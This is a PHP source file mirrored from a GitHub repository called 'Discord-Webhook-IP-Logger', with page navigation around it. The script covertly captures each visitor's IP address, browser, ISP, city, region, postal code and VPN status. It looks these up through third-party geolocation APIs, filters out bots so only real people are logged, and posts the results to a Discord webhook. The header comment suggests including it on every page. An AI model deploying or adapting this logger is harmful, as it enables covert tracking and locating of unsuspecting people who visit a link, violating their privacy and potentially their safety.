Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
Scarface-Tony-Montana
GitHub Repository: Scarface-Tony-Montana/Discord-Webhook-IP-Logger
Path: blob/master/index.php
113 views
1
/*
2
Please keep this copyright statemnet in tact
3
Original Creator Of This Webhook IP Logger: ᴮᵉᵗᵗᵉʳ ᴼᶠᶠ ᴳᵒⁿᵉ#0869
4
Creation Date: 21/10/19
5
APIs Provided By: Octolus (geoiplookup.io) and IP-API (ip-api.com)
6
7
8
NOTE: You can use this in every page if you make a it a external page and require it in every other page that is php.
9
10
*/
11
12
<?php
13
14
$webhookurl = "discord webhook link";
15
16
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);
17
$browser = $_SERVER['HTTP_USER_AGENT'];
18
if(preg_match('/bot|Discord|robot|curl|spider|crawler|^$/i', $browser)) {
19
exit();
20
}
21
$TheirDate = date('d/m/Y');
22
$TheirTime = date('G:i:s');
23
$details = json_decode(file_get_contents("http://ip-api.com/json/{$ip}"));
24
$vpnCon = json_decode(file_get_contents("https://json.geoiplookup.io/{$ip}"));
25
if($vpnCon->connection_type==="Corporate"){
26
$vpn = "Yes (Double Check: $details->isp)";
27
}else{
28
$vpn = "No (Double Check: $details->isp)";
29
}
30
$flag = "https://www.countryflags.io/{$details->countryCode}/shiny/64.png";
31
$data = "**User IP:** $ip\n**ISP:** $details->isp\n**Date:** $TheirDate\n**Time:** $TheirTime \n**Location:** $details->city \n**Region:** $details->region\n**Country** $details->country\n**Postal Code:** $details->zip\n**IsVPN?** $vpn (Possible False-Postives)";
32
33
$json_data = array ('content'=>"$data", 'username'=>"Vistor Visited From: $details->country", 'avatar_url'=> "$flag");
34
$make_json = json_encode($json_data);
35
$ch = curl_init( $webhookurl );
36
37
curl_setopt( $ch, CURLOPT_POST, 1);
38
curl_setopt( $ch, CURLOPT_POSTFIELDS, $make_json);
39
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
40
curl_setopt( $ch, CURLOPT_HEADER, 0);
41
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
42
43
$response = curl_exec( $ch );
44
45
?>
46
47